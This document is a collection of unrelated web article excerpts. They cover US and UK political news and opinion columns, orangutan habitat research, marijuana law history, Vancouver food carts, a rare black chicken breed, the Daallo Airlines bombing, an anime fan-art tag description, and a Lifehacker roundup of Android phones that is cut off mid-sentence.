-TRENTON — Gov. Chris Christie will address the Northeast Republican Leadership Conference in Philadelphia this summer.  Rob Gleason, chairman of the Republican Party of Pennsylvania confirmed Tuesday that Christie will make an address sometime during the conference, which will be held June 18-20. Gleason praised his Republican neighbor as "a proven reformer who's not afraid to tackle the toughest issues."  Indeed, Christie made headlines in New Hampshire on Tuesday by touching the "third rail" of politics, entitlement reforms. He called for raising the Social Security full-retirement age to 69, and the early retirement age to 64.  Other potential 2016 GOP presidential candidates slated to speak at the Northeat GOP forum include former U.S. Sen. Rick Santorum of Pennsylvania and former Hewlett-Packard CEO Carly Fiorina.  Christie made six trips to the Keystone State last year during his chairmanship of the Republican Governors Association to fund-raise for the organization, and twice traveled to the state to stump for Gov. Tom Corbett, but couldn't save his fellow Republican from being ousted on Election Day last year.  Gov. Christie Speaks at NH Institute of Politics on Entitlement Reform 10 Gallery: Gov. Christie Speaks at NH Institute of Politics on Entitlement Reform  Claude Brodesser-Akner may be reached at cbrodesser@njadvancemedia.com
-Throughout the Indonesian island of Borneo, orangutans (Pongo pygmaeus) are getting squeezed out of their forest habitats by the voracious palm oil industry. Farmers frequently chop or burn down native forests in order to replace them with lucrative and often illegal plantations. This forces any of the arboreal apes that survive the assault—most don’t—to attempt moving to new territories, either on their own or with the assistance of orangutan conservation groups.  But not just any new territory will do. A study published October 14 in PLoS One finds that orangutans depend on very high-calorie foods for their survival. That means that any new habitats the apes colonize will need to have ready food supplies, something that may not be available in all locations.  The study, by researchers from Rutgers University in New Jersey and six other institutions, examined two of Borneo’s healthiest orangutan populations . The research, conducted from 2003 to 2010, found that each population’s habitat contains a different makeup of available food, one of which was far less than ideal.  Both populations live in what are known as peat forests, tropical areas with leafy, waterlogged soil that prevents local trees from absorbing much nutrition through the ground. The first population lives in the Sabangau Forest, a very typical peat environment where the peat is up to four meters deep. The second population lives 63 kilometers away in the Tuanan forest where the peat is much shallower (one to two meters deep) and the trees receive additional nutrients from seasonal river floods.  The qualities of the Tuanan forest had two important effects: not only was there more food, there were also more orangutans. The Tuanan apes live at a population density of between 4.3 and 4.5 individuals per square kilometer, compared to 2.3 apes per square kilometer in Sabangau.  In addition to more fruit and other food in Tuanan, the composition of all plants differed. In Tuanan, orangutan diets were higher in lipids and non-structural carbohydrates, which provided them with more energy. The apes in Sabangau had a diet higher in fiber, which did not.  All told, the Tuanan apes were able to consume as much as 2,500 more calories per day while spending less time searching for food. That’s energy they could put into breeding. Sabangau orangutans consumed fewer calories but expended more energy trying to fill their bellies, leaving little for anything else.  Lead author Erin Vogel, an evolutionary anthropologist at Rutgers, said in a prepared statement that the study shows how environment can affect large, arboreal animals. “If animals can't obtain enough energy, reproductive output and population sizes will suffer.”  This is especially important since conservation groups are trying to get the Indonesian government and palm oil companies to set aside new habitats for orangutans on both Borneo and Sumatra (the Sumatran apes are a separate species, P. abelii, but they’re similar enough to the Borneon orangutans, P. pygmaeus, that this study can apply to them both). The areas could serve as new homes for apes that would be relocated away from the palm-oil industry or those who already live in sanctuaries while they await safe new homes. Choosing those new sites for their food content, according to the researchers, will be critical. “If you want to increase the populations of this endangered species, you need to make sure that they are being reintroduced into suitable habitats,” Vogel said. “It means looking at forests carefully, making sure they are productive, and that there is enough food to eat in terms of caloric gain.”  Of course, there’s already a major wrinkle in all of this. Borneo and Sumatra are currently plagued by thousands of intentionally set forest fires caused by slash-and-burn agriculture. Conservation groups tell me that some of these fires are burning in or near important orangutan habitats, including Sabangau. Not only does this endanger the wild apes, the fires are also quickly eliminating any new habitat that into which they could be relocated.  Indonesian officials this week said they have little hope of putting the fires out before this November’s rainy season. Similarly, orangutans in the wild have increasingly little hope of having any forest left in which to live as the next few years carve out yet more of their habitat.  Photo by Budi Nusyirwan. Used under Creative Commons license  Previously in Extinction Countdown:
-The federal law that makes possession of marijuana a crime has its origins in legislation that was passed in an atmosphere of hysteria during the 1930s and that was firmly rooted in prejudices against Mexican immigrants and African-Americans, who were associated with marijuana use at the time. This racially freighted history lives on in current federal policy, which is so driven by myth and propaganda that it is almost impervious to reason.  The cannabis plant, also known as hemp, was widely grown in the United States for use in fabric during the mid-19th century. The practice of smoking it appeared in Texas border towns around 1900, brought by Mexican immigrants who cultivated cannabis as an intoxicant and for medicinal purposes as they had done at home.  Within 15 years or so, it was plentiful along the Texas border and was advertised openly at grocery markets and drugstores, some of which shipped small packets by mail to customers in other states.  The law enforcement view of marijuana was indelibly shaped by the fact that it was initially connected to brown people from Mexico and subsequently with black and poor communities in this country. Police in Texas border towns demonized the plant in racial terms as the drug of “immoral” populations who were promptly labeled “fiends.”  As the legal scholars Richard Bonnie and Charles Whitebread explain in their authoritative history, “The Marihuana Conviction,” the drug’s popularity among minorities and other groups practically ensured that it would be classified as a “narcotic,” attributed with addictive qualities it did not have, and set alongside far more dangerous drugs like heroin and morphine.  By the early 1930s, more than 30 states had prohibited the use of marijuana for nonmedical purposes. The federal push was yet to come.  The stage for federal suppression of marijuana was set in New Orleans, where a prominent doctor blamed “muggle-heads” — as pot smokers were called — for an outbreak of robberies. The city was awash in sensationalistic newspaper articles that depicted pushers hovering by the schoolhouse door turning children into “addicts.” These stories popularized spurious notions about the drug that lingered for decades. Law enforcement officials, too, trafficked in the “assassin” theory, under in which killers were said to have smoked cannabis to ready themselves for murder and mayhem.
-The election of Donald Trump is easy to understand, if you know where to look for answers. In a recent wide-ranging interview with the New York Times, Peter Thiel, the Trump adviser, Facebook billionaire and staunch libertarian, offered this illuminating insight:  Using two wrestling terms he learned, Mr. Thiel says that many people assumed Mr. Trump was “kayfabe” — a move that looks real but is fake. But then his campaign turned into a “shoot” — the word for an unscripted move that suddenly becomes real. “People thought the whole Trump thing was fake, that it wasn’t going to go anywhere, that it was the most ridiculous thing imaginable, and then somehow he won, like [Hulk] Hogan did,” Mr. Thiel says. “And what I wonder is, whether maybe pro wrestling is one of the most real things we have in our society and what’s really disturbing is that the other stuff is much more fake. And whatever the superficialities of Mr. Trump might be, he was more authentic than the other politicians. He sort of talked in a way like ordinary people talk. It was not sort of this Orwellian newspeak jargon that so many of the candidates use. So he was sort of real. He actually wanted to win.”  It is clear that Donald Trump is a political performance artist whose shtick is borrowed from professional wrestling. This is an observation I have repeatedly made about Donald Trump here and elsewhere for more than a year. It has also become a truism of sorts that has appeared -- often without attribution or mention -- in many other places both online and in print.  Advertisement:  To reiterate: Professional wrestling is a type of scripted storytelling that uses athleticism and dramatis personæ to tell classic stories that draw upon basic archetypes that could easily be found in Shakespeare or ancient Greek mythology. In the struggle between good and evil, right and wrong, and the moral complexities of the modern antihero, Donald Trump (in the language of professional wrestling) is a "heel" or villain. In keeping with that role, Trump has shown a flagrant disregard for the truth, pretends to be a victim when in fact he is the aggressor, is a bully, lords his wealth over others, cheats and has little regard for the rules. Trump's version of the heel professional wrestler is also a bellicose, verbally dexterous womanizer and misogynist. In professional wrestling, the secret to success is often described as "being yourself with the volume turned way up." Donald Trump has taken this maxim to the extreme. There appears to be little to no difference between Donald Trump the real person and Donald Trump the public persona and pro-wrestling-inspired politician.  Donald Trump's embrace of professional wrestling's aesthetics served him well during the 2016 presidential campaign. He cut mean-spirited "promos" on his Republican rivals that exposed their weaknesses and eventually drove them out of the presidential race.  Trump's insistent lying as well as his larger-than-life personality allowed him to outmaneuver the American news media in at least two ways.  The media surrendered to Trump, giving him at least $3 billion worth of free coverage, because he made for compelling television. The media was also neutered by Donald Trump. Its supposed journalistic standards of balance and neutrality were ill-equipped to deal with a presidential candidate who learned from reality TV and professional wrestling that the way to win is to always keep the camera focused on him.  But Donald Trump's professional wrestling heel persona is also quite limiting. His bullying behavior, arrogance, crudeness and desperate desire to humiliate his enemies are traits and behaviors ill-suited for the presidency. Success in professional wrestling is often defined by being loud and grand, using big movements to command attention, filling up both the ring and the TV camera's frame with one's personality and physical presence. By comparison, a successful president should be precise, direct, diplomatic and calm.  Trump's much-anticipated press conference last Tuesday also demonstrated the limits of professional wrestling as a playbook for American presidential politics. It featured all the trappings of a pro wrestling event: Mike Pence acted as Trump's manager and one of his opening acts; Trump insulted CNN as "fake news" and mocked BuzzFeed as "garbage"; there were Trump allies in the audience who cheered on cue; and there were huge stacks of manila file folders overflowing with blank pieces of paper (in professional wrestling such a prop is a called a "gimmick") that were supposed to be Donald Trump's agreements to recuse himself from his many businesses while serving as president.  Advertisement:  But the spectacle of Trump's first press conference could not mask how he is criminally underprepared for the responsibilities of the office, amazingly ignorant about basic public policy matters, ill-tempered, mired in corruption scandals, likely compromised by a foreign power that desires to manipulate him, and grossly incompetent. In many ways, Donald Trump is like a much-heralded and anticipated professional wrestler who is new to an organization but in reality cannot perform in the ring. He is all looks and talk, but possesses no substance or real skill.  To point.  Donald Trump is Handsome Jimmy "the Boogie Woogie Man" Valiant, without the charisma or language skills.  Donald Trump is "Ravishing" Rick Rude, without the body.  Donald Trump is Bobby "The Brain" Heenan, without either the quick wit or the intelligence.  Advertisement:  Donald Trump is Nikolai Volkoff, without the Russian accent.  Donald Trump is "The Million Dollar Man" Ted DiBiase, without a fraction of the ring prowess -- although Ben Carson would make a fair substitute for DiBiase's manservant, Virgil.  What of Donald Trump's fans?  Advertisement:  They are "marks." In the parlance of professional wrestling, this is one of the greatest insults. Trump's voters do not know the difference between the real (a "shoot") and the theatrical ("kayfabe" or "a work"). Trump's marks wanted him to "drain the swamp" and to stand up for "real Americans" like them, but in reality he is a self-interested plutocrat whose policies will actually punish the angry "white working-class" voters who installed him in office. Perhaps even more pathetic, many of Trump's voters know that he is lying to them but continue to support him anyway, because their heel champion has promised to hurt Muslims, immigrants, gays and lesbians, poor people, women, African-Americans and other people of color.  Unfortunately, this is not an episode of "WWE Raw," "Ring of Honor," or "New Japan Pro-Wrestling." Donald Trump, a professional wrestler wannabe who believes that his character is real, will soon be president of the United States. There will be no last-minute rewrites of the script, or "run-ins," where another wrestler comes from out of the audience, hits Trump over the head with a chair and steals away the championship belt. With the ascendance of this real-life fascist authoritarian, American politics has fully become professional wrestling. We should all be terrified.
-Sir David Attenborough, eat your heart out. You may travel to the most exotic biosystems on our planet, but you will be unlikely to glimpse such surreal couplings as we have just witnessed in the voting lobbies of the House of Commons. There was Jeremy Corbyn putting his name to the legislation of Theresa May. There was John McDonnell fusing with Boris Johnson. Most miraculous to behold, Diane Abbott, mercifully recovered from the headache that was so life-threatening that it prevented her from participating in earlier proceedings, marched in step with Michael Gove. Voting together and voting for a very hard form of Brexit. Which meant that it wasn’t even close. The Brexit Bill smashed through the Commons unamended and by 494 votes to 122, a crushing government majority of 372.  This is remarkable at several levels. For all the chatter about obeying the will of the people, how MPs voted was wildly unrepresentative of what the country did last summer. Had the narrowness of the 52/48 referendum result been replicated in parliament, the government’s majority would have been a much more modest 26. It was also dramatically out of sync with the actual beliefs of most MPs, since three quarters of them did not want to leave the EU. Not only did they sign off on Mrs May’s plan to initiate divorce proceedings next month, they did so having been forewarned by the prime minister that she will pursue a very stark and high-risk version of Brexit.  Britain is departing the single market and most likely quitting the customs union as well. She had even told them in advance that she is prepared to crash out of the EU with no deal at all. That this could be in the range of potential outcomes would have horrified most MPs six months ago. It still does so. Yet they waved it through with the salute of a stonking majority. Finally, and very significantly, parliament didn’t even claim for itself any meaningful input when Mrs May enters the negotiating chamber with the EU.  This self-emasculation by MPs at such a momentous juncture in our history requires examination. We need to step back and ask how we got from June to here, how we travelled to the point where a thumping majority of parliamentarians, including so many Labour MPs, gave a mandate to the prime minister to pursue a negotiation strategy in which most of them don’t believe and which the majority think will end with calamity for Britain. If it all goes horribly wrong, this is a question that is going to preoccupy historians and blight the reputations of all but the minority who tried to stand in the way of the juggernaut.  This was not an outcome written in the stars or fated by the gods. It was not even ordained by the 52% of voters who tipped the referendum result to Out. By narrowly voting to leave the EU, the country answered one question, but in doing so it raised a host of other questions about the precise shape that Brexit should take. This was up for grabs. The hard Brexiters understood that instantly. They didn’t stop campaigning when the referendum result came in. They continued agitating and with a burning ferocity that was amplified by the Brexit press at its most megaphonic. They did so to ensure that they could impose their interpretation of what the referendum meant.  Softer versions of Brexit were framed as a “sell out” and a “betrayal”. Any suggestion that parliament had a right to place conditions on how the government approached the negotiations were blackened as “wrecking tactics” to thwart “the will of the people”. While the hard Brexiters were busy stretching the meaning of the referendum to fit their desired outcome, the stunned Remainers were still winded from their defeat. Slowly, those who wanted to preserve a close relationship with our neighbours began to get their act together. Campaign groups were organised. Learned papers were written. Alternatives to hard Brexit were mooted. But they lacked the organisation, the energy and the unity of their rivals. They were badly handicapped because there never was a coalescence around one agreed version of soft Brexit to compete with the hard-core model.  This shaped the context in which Theresa May made her calculations. Milder versions of Brexit were considered inside Number 10, but discarded because of the belief in Mrs May’s inner circle that they would end up with a messy “halfway house”, a compromise that would ultimately please no one. Once she had decided to prioritise immigration control over every other consideration, she was remorselessly driven to the hard Brexit position of quitting the single market. This upped the risk of it being a long-term economic disaster, but had the short-term political merit for her of simplicity and clarity. It was also the line of least resistance in terms of the Europhobic media and the hard-Brexit constituency within her party. The majority of her cabinet were Remainers. Some of them were ardent Remainers, including the home secretary and chancellor. Around about half of all Tory MPs were Remainers. They were cowed by the atmospherics created by the hard Brexiters and scared of a prime minister whom they have learned to cross at their peril.  Whenever a mutiny seemed to be brewing, Mrs May proved adept at confecting a concession that turned out not to be a concession at all. There was a clamour for a white paper detailing her objectives. So a white paper was rushed out. It revealed next to nothing new about her negotiating plan, but it did make it a little bit easier for potential Tory rebels to wrestle their consciences into submission. There was a demand that parliament have the final say on the eventual deal. So parliament was told it would be consulted, but only on a take-it-or-leave-it basis, which will force MPs to accept whatever Mrs May comes back with, even if the terms are atrocious for Britain, because the alternative would be worse. A government seriously committed to involving parliament would have granted MPs a decisive verdict on the outcome of the negotiations and the power to send ministers away to try again if the deal wasn’t good enough. A parliament serious about asserting its rights would have insisted on such a guarantee.  On the crucial amendment that would have secured parliament a real say, just six other Conservative MPs joined Ken Clarke in defying the Tory whips. The feebleness of most of the Tory pro-Europeans was related to the continuing disintegration of the Labour party as it daily finds fresh ways to fail as an opposition. We now have an opposition in which a three-line whip is busted even by whips. To be fair to Jeremy Corbyn, any Labour leader would face a horrendous dilemma over Brexit because of the way it has split the party’s electoral coalition. Even the most skilled of leaders would be struggling to bridge that division. Mr Corbyn has made it so much worse because of his many other weaknesses. He has lost old friends and not replaced them with any new ones with his unwise tweet declaring “the fight starts now”. That has provoked a lot of grim mirth among people who would have liked to see some fight from him when it might have counted: during the referendum campaign or in the parliamentary struggles of the past fortnight. His dire approval ratings and massive poll deficit with the Tories suggest that Mrs May would win, and do so handsomely, any time she contrived to engineer an early election. That provided another reason for Tory MPs not to be brave.  It does not take too much imagination to see how a stronger, more plausible Labour leadership, one clear and consistent about its objectives and commanding the confidence of the parliamentary party, could have done a better job of squeezing concessions out of the government about the shape and the mechanics of Brexit. The Labour leadership essentially sold the pass the moment it declared there were no circumstances in which it was going to block or even just delay the triggering of article 50. That told the government that it could behave pretty much as it liked; it warned any Tory MP thinking about rebellion that joining hands with the opposition would most likely prove a futile gesture and a pointless sacrifice of career prospects.  The legislation now goes to the House of Lords after parliament’s half-term break. Peers are heavily opposed to hard Brexit and the government has no majority on the claret benches. There will be some activity around the issue of the rights of EU citizens already living and working in Britain. But what MPs have done makes it very much less likely that peers will put up serious resistance to the government over its negotiation timetable and strategy. The size of the Commons majority backing the government will intimidate the unelected house.  Parliament will not be entirely voiceless over the next two years. MPs will retain their inalienable rights to comment and question, to carp and moan, to quibble and quarrel. But they have left themselves essentially powerless to influence the outcome of the most important negotiation in Britain’s postwar history. MPs will be allowed to yap. As the juggernaut crashes on.
-Depictions of the historically and canonically poor Akizuki-class destroyers (nickname: "duckies") Akizuki, Teruzuki, and Hatsuzuki being lavishly treated to a meal, either singly or as a group. Also inclusive of images where their poverty is the main topic.  The fourth Akizuki-class girl implemented in the game, Suzutsuki, is a known self-sustainer, growing pumpkins. This is a reference to the postwar agricultural activities of her crew. She is thus put in a different light than her sisters. As a side effect, many posts of Suzutsuki in this pool may involve her feeding any or all of her sisters. Note that this doesn't necessarily preclude her from being treated to a meal like the others, she can be subject as well as object of the meal.  Pixiv tag: 秋月型にたらふく食べさせ隊 (pixiv search / nicoSeiga search / pixiv Encyclopedia)
-VANCOUVER, CANADA – Some food cart owners are upset with the City of Vancouver, saying they are being ripped off for food cart permits when new entrants are paying just a fraction of their rent.  Many operators have been forced to close up shop on their food carts after paying up to $10,000 annually. The operators have been subletting prime spots all over the city, long before the city’s food cart program with its lower rents came into effect.  A city food cart permit today costs just $1,000 a year under the city’s new program.  Disgruntled food truck owners have been petitioning the city for changes to the system for months, and now it appears the city is finally listening.  Deputy City Manager Sadhu Johnston tells Global News that the city is planning a new bylaw to address the subletting of vendor leases.  “In November, staff plan to bring forward a new bylaw to City Council to address the issue of subletting vendor leases. City staff will be recommending to City Council that no subleasing be allowed for food cart permits and that a transition plan be developed for the vendors that are currently working on subleased locations. The City is working to find a balanced approach which ends the practice of subleasing but minimizes the impact on existing vendors whose businesses rely on subleased sites. The transition strategy will be developed with input from vendors over the coming weeks.”  Find the entire article by Peter Meiszner at globalnews.ca 
-The Ayam Cemani Chicken is notable for a couple of things. First of all, partially due to its rarity, especially outside of its native Indonesia, one Ayam Cemani will run you about $2,500. Second, it is clearly the chicken of Our Dark Lord and Savior Satan! The birds exhibit the genetic condition “fibromelanosis,” which renders them totally black—we’re talking feathers, skin, organs, bones, the works. Only their blood is red, albeit a very dark shade.  Frankly, I think such a cool-looking evil luxury animal could be a perfect mascot for some underwordly music subculture. Sure, chickens are not usually associated with the darkness, but stranger pairings have been made—Leather Nun doing ABBA’s “Gimme Gimme Gimme,” for example, is pretty delicious! And if you’re vegetarian, it could make a very suitable avian familiar. Check out the video below for some decidedly unholy clucking—I assume if you play the video backwards you can hear the voice of Beezlebub.  Yum?  Hail Satan.  Gaze into the blackness of its soul  Via Geekologie
-A Somali computer programmer has told how a suspected bomb blast tore open the side of a plane and sucked out an elderly passenger to his death at 14,000 feet.  Survivor Hassan Mohamed Nur said the blast shook Daallo Airlines Flight D3159 five minutes after take off from Mogadishu, Somalia, and tore a hole in the jet's fuselage.  Describing the horror, he said the cabin went black and filled with thick smoke as passengers screamed in the confusion - as investigators in the U.S say a bomb 'probably' caused the explosion.  Scroll down for video  Horror at 14,000 feet: A explosion ripped a hole in the side of the Airbus A321 just five minutes after it took off from the Somali capital Mogadishu  Blast: A hole measuring six feet by three feet tore through the Airbus A321 fuselage and an elderly passenger in his 60s was sucked out of the cabin  Mr Nur said the passenger, an elderly man, caught fire before he was sucked from his seat and out of the Airbus A321.  ‘I saw the passenger, a man in his early 60s, get sucked out of the plane,' he told MailOnline. 'There was a huge bang. A big hole appeared in the side of the jet and the man disappeared through it.  ‘One minute he was sat in his seat, the next it he was gone. He’d been sucked out of the plane.  ‘People were screaming. We all thought we were going to die.’  Survivor: Hassan Mohamed Nur described the terror on board Daallo Airlines Flight D3159  The charred body of a man, who may have fallen from the plane, was found in Balad, 18 miles from Mogadishu.  Airline officials say two passengers were hurt in the blast, shortly after take off on Tuesday.  One of those injured was an elderly man from Finland, who is in a stable condition in hospital in Mogadishu.  The Somali government says an investigation has begun.  The plane has been moved from the runway to a private hangar for inspection by forensic experts to inspect, Mr Mohamoud added.  He said that foreign technical experts were involved in the inquiry.  The Daallo Airlines flight bound for Djibouti in the Horn of Africa was able to fly back to Mogadishu and land safely and 74 passengers on board were evacuated.  The pilot Vlatko Vodopivec, 64, from Serbia said: 'When we heard a loud bang, the co-pilot went back to the cabin to inspect the damage and I took over the commands as the procedure demands.  'Smoke came into the cockpit, but it was mostly concentrated in the back of the aircraft.'  He added: 'I think it was a bomb. Luckily, the flight controls were not damaged so I could return and land at the airport.  'Something like this has never happened in my flight career. We lost pressure in the cabin. Thank god it ended well.  'It was my first bomb; I hope it will be the last. It would have been much worse if we were higher.'  Two unnamed U.S. government sources said they believe a bomb caused the blast explosion - although Somali civil aviation authority officials say they had found no evidence that a criminal act had caused the explosion.  Mr Nur added he does not believe the blast was caused by a bomb.  ‘I blame the cause the bad weather. Imagine if the cause was a bomb, could the plane make a safe landing within 15 minutes after take off?’ he added.  Awale Kullane, Somalia's alternate U.N ambassador, who was on board the flight, said he 'heard a loud noise and couldn't see anything but smoke for a few seconds'.  Carnage: In the blast, which ripped open the side of the cabin, one passenger told MailOnline how thick smoke filled the plane and passengers screamed in the chaos  Blast: The full force of the blast can be seen from the outside of the Airbus A321 Daallo Airlines flight D3159 after it was safely landed at Mogadishu  Damage: A blast blew a huge hole in the side of the plane just five minutes after it took off from Mogadishu  Mr Kullane said he realised 'quite a chunk' of the plane was missing when visibility returned.  Pictures of the aftermath were posted on social media showing frightened passengers putting on oxygen masks.  Another survivor Mohamed Ali said he heard a bang before flames opened a gaping hole in the plane's side.  'I don't know if it was a bomb or an electric shock, but we heard a bang inside the plane,' he said, adding he could not confirm reports that passengers had fallen from the plane.  One of the people on board the flight filmed the aftermath of the explosion where the remaining passengers at calmly until the aircraft returned to the airport.  In a statement Daallo Airlines said the airbus was operated by Hermes Airlines and said the plane 'experienced an incident shortly after take-off'.  'The Aircraft landed safely and all of our passengers were evacuated safely. A thorough investigation is being conducted by Somalia Civil Aviation Authority,' the Daallo statement said.  Athens-based Hermes Airlines provides planes on a 'wet lease' basis, meaning it leases insured planes staffed and serviced by its crew to other carriers.  Somalia faces terror threats from ISIS-linked al-Shabaab, which is responsible for a number of atrocities in the country.  Aviation sources have suggested the aircraft was delayed leaving Mogadishu meaning the suspected bomb, if it was on a timer, went off at a lower altitude, giving the passengers on board a greater chance of survival.  John Goglia, former member of the US National Transportation Safety Board, said only a bomb or a pressurisation blow out caused by fatigue could cause such a hole in the side of the aircraft.  Cabin crew moved the remaining passengers to the front and rear of the aircraft to keep it balanced for landing  Two people are reported to have been injured after the fire broke out on the Daallo Airlines plane  Djibouti-bound Daallo Airlines flight D3159 pictured after a blast blew a hole in the side of the cabin on Tuesday  However, the black soot around the hole would indicate a bomb.  He said the incident happened before the aircraft hit its cruising altitude which would reduce the possibility of a pressurisation event.
-There are so many Android phones on the market that choosing the best one can mean a ton of research, price-checking, and waiting to see what's coming out in the next few weeks or months. Some are exclusive to specific carriers, some run stock Android, some are littered with bloatware but have powerful features. This week we wanted to know which you thought were the best of breed, not just because they round out a checklist of features or high-end hardware, but because you think they offer a great overall experience. Here's a look at the top five Android phones, based on your nominations.  We put this question to you the same time last year (just after Google I/O), and your top five Android phones then were really impressive for the time. Still, times change, and earlier this week, we asked you to pick a new batch to be the best of the best. You didn't disappoint, and offered way more nominations than we could possibly feature. Remember, our only conditions were that the phones you nominated had to be out and available now. Still, there were some strong trends, and no doubt about your top five. Here they are:  Advertisement  The poll is closed and the votes are counted! To see which of these five great Android phones you crowned as the Lifehacker favorite, head over to our Hive Five followup post. There you can weigh in with your thoughts on the winner!  Advertisement  The Nexus 4 (8GB for $299 or 16GB for $349, contract-free) manufactured by LG, is the current official Google phone, and the flagship of the Nexus program. It's available contract-free directly from Google (or from T-Mobile in the US, if you want to buy it through a carrier) so you can pick and choose the carrier you use it with (including pre-paid options), which was a remarkable departure for Nexus phones compared to the previous models. Availability of the device has smoothed out over the past few months, and Google's order page now says a new Nexus 4 can ship to you in 1-2 business days.  The Nexus 4 is a 3G/HSPA+ device, and garnered some criticism for not ticking off the 4G/LTE box in its spec sheet. Regardless, that hasn't stopped the phone from being wildly popular, packing stock Android 4.2 Jelly Bean under the hood, a beautiful 8MP camera on the back (and a 1.3MP camera on the front), a nicely sized 4.7" HD display that protected by Corning's Gorilla Glass 2, and is powered by 2GB of RAM and a Qualcomm quad-core Snapdragon processor. It's a killer device, but it's not perfect: the Nexus 4 eschewed a replaceable battery (although it does have a 2100 mAh battery) and expansion slot for a slim and trim design, so if you need either of those things, it might be a tough sell. Still, it does pack perks like NFC and wireless charging, and it is a Nexus device, so you can trust you'll get timely Android releases, always be up to date, and even if Google falters there's a massive development community working with the phone at all times.  Advertisement  Despite a horrendous launch event, the Samsung Galaxy S4 ($149-$199 with contract, all US carriers) is without a doubt one of the most super-powered phones on the market today. Samsung's latest iteration in the Galaxy line will, without a doubt, sell millions of units, and become one of the most popular Android phones on the planet, much like its predecessor, the Samsung Galaxy S3 (which, coincidentally, almost made the top five of its own accord). Contrary to the rumors that Samsung would put a little more heft into its phones or improve their build quality, the S4 has almost the same case design and materials of its predecessor, so if you hate plastic and polycarbonate cases, you may not love the S4. The device only recently came out, but high demand has slowed its rollout, but regardless, it is available on all US carriers.  Advertisement  The Galaxy S4 is a 3G/4G device, and since it's available for all carriers, each carrier model supports each carrier's 4G network. It packs Android 4.2 Jelly Bean, although it's overlaid with Samsung's TouchWiz user interface, which directs you in some cases away from core Android features and to Samsung's branded counterpart services. Regardless, all of Android's features are under the hood, you just might have to dig a little through TouchWiz to get to it. You also get 13MP camera on the back (and a 2MP camera on the front), and it sports a 5" full HD display. Under the hood, the S4 packs 2GB of RAM, a quad-core Qualcomm Snapdragon processor, a 2600mAh removable battery, and it comes in 16GB, 32GB, and 64GB varieties with a microSD card slot that allows you to add up to another 64GB to the device. It also sports NFC, and a host of Samsung-specific features, like the S-Health fitness tracking system, Samsung's Smart Scroll and Smart Pause systems, the S Voice personal assistant, and the S Travel trip advisor.  Advertisement  The HTC One ($199 on contract with AT&T, Sprint, T-Mobile, $575 unlocked direct from HTC) is a beautiful device. Seriously—it's earned high praise from all corners for its solid build quality and sleek aluminum body. It doesn't just look good, either—even after the launch of the Galaxy S4 and all of its features and power, reviewers are still torn over whether the One or the S4 is the current crown champion of the Android market. Just as well too, HTC needed a powerhouse phone to re-energize itself and get back in front of the Android market, and while the One X and One S of previous years were great devices, the new One flagship device is solid leap forward.  The HTC One ships with Android 4.1 Jelly Bean (although an update to 4.2 is on the way), overlaid with HTC's new Sense 5 interface. Sense 5.0 represents a shift away from the old Sense UI, one that you'll either love or hate, but most critics have responded positively to it. Even if you dislike overlaid UIs, Android isn't too far away. You get a 4MP camera on the back that's also capable of full 1080p video (and a 2.1MP camera on the front), and a 4.7" full HD display. The One packs 2GB of RAM, a quad-core Qualcomm Snapdragon processor under the hood, a 2300 mAh non-removable battery, and comes in 32GB and 64GB versions. The One doesn't have an expansion slot, so make sure to get the model with the storage you'll need. The HTC One also comes with an array of actually useful HTC features, including the HTC Zoe photo gallery and web gallery that make uploading and sharing photos surprisingly easy, HTC's BoomSound audio processing system (which replaces—sort of—Beats Audio from previous devices), and HTC's Sense Voice noise isolation system that makes sure your callers can hear you and not the ambient noise around you.  Advertisement  Despite being a "phablet," thanks to its large size and included stylus, the Galaxy Note 2 (prices vary, but average $149 on contract, all carriers, also available unlocked for $5-600) earned high praise from a number of you for being large enough to use for things you might want a laptop or tablet for, but still small enough to be portable and function effectively as a phone. Plus, you can't beat a large screen for reading the web, mobile gaming, or working on the go. The original Galaxy Note made it into our previous roundup, and for many of the same reasons. Whether the Note II is too large for you is entirely a matter of personal preference, but there's no disputing the fact that the it has the features under the hood to make it a solid contender either way.  Advertisement  The Galaxy Note II is a little bigger than its predecessor, featuring a 5.5" HD screen and shipping with Android 4.1 Jelly Bean (although an update to 4.2 is planned for the summer), and includes Samsung's TouchWiz UI. It comes with an 8MP camera (and a 1.9MP camera on the front). Under the hood, you get 2GB of RAM, a quad-core Exynos processor, and a massive 3100 mAh battery. It comes in 16GB, 32GB, and 64GB versions, and is expandable up to another 64GB. Of course, we can't mention the Note without talking about the included stylus, the S-Pen. Like its predecessor, Samsung has gone out of its way to make the S-Pen actually useful with the Note II and not just a gimmick. S-Note, S-Planner, and built-in support for handwriting and navigation by stylus make it an actually useful way to work with your Note II.  Advertisement  The Galaxy Nexus (prices vary, but essentially free on contract, all carriers, also available unlocked for ~$300), the flagship of the Nexus program until the Nexus 4 came along, not only made our last roundup, but it took the crown after the votes were counted. It's still one of your most popular devices—it doesn't hurt that it's a 4G device, runs stock Android, and has models available that support virtually every carrier in the United States, locked or unlocked. That's another reason the device is so popular: It's widely available unlocked, so you can take it to the carrier you choose (mostly), and use it without getting locked into a contract. Other devices may be newer, larger and fatter, but the Galaxy Nexus is a slim, trim device that fits nicely in the hand, gets the job done, and because it's still a Nexus, it has huge dev support.  Advertisement  The Galaxy Nexus is the oldest of the devices in the roundup, so availability new may be spotty depending on which carrier you choose. Still, they're widely available used. The Galaxy Nexus was the first phone to ship with Android 4.0 Ice Cream Sandwich (stock) on it, and it has since been updated to 4.2 Jelly Bean virtually everywhere. You get a 5MP rear camera (and a 1.3MP front-side camera) featuring the Nexus' famous "zero shutter lag," and a 4.65" HD Contour display. The Galaxy Nexus also features 1GB of RAM, a dual-core Cortex-A9 processor, and a 1750mAh/1850mAh battery (which one depends on whether you have the HSPA+ or LTE model, respectively). No expandable storage, but the Galaxy Nexus is available in 16GB or 32GB models. It's not the newest or the fastest, but it's still a great phone.  There you have it, the top five Android phones based on your nominations. Now it's time to vote for the all-out winner.  Advertisement  Like we said, there were plenty of phones to go around in the nominees, but we have to give a little honorable mention love to the Motorola Droid Razr Maxx HD, which came two or three nominations away from making the top five, surprisingly—many of you praised its sleek design and its superior battery life as reasons why it should be considered as one of the best. Don't let its long name fool you—it's a super-thin phone with a beastly battery, a gorgeous screen, and a sharp camera. It's worth your consideration among the Samsungs you'll find on the store shelves next to it.  Another honorable mention goes out to the Sony Xperia Z, Sony's gorgeous high-end smartphone running stock Android that was announced at CES this past January and launched only a month later. Not only is the Xperia Z a great looking device, it's also rugged, and features dust protection, impact resistance, and even water resistance for those of us who have dropped our phones in a running sink or a toilet before. Because it's Sony it doesn't get a lot of attention, but that's a shame—the Xperia Z is highly underrated.  Advertisement  Have something to say about one of the contenders? Want to make the case for your personal favorite, even if it wasn't included in the list? Remember, the top five are based on your most popular 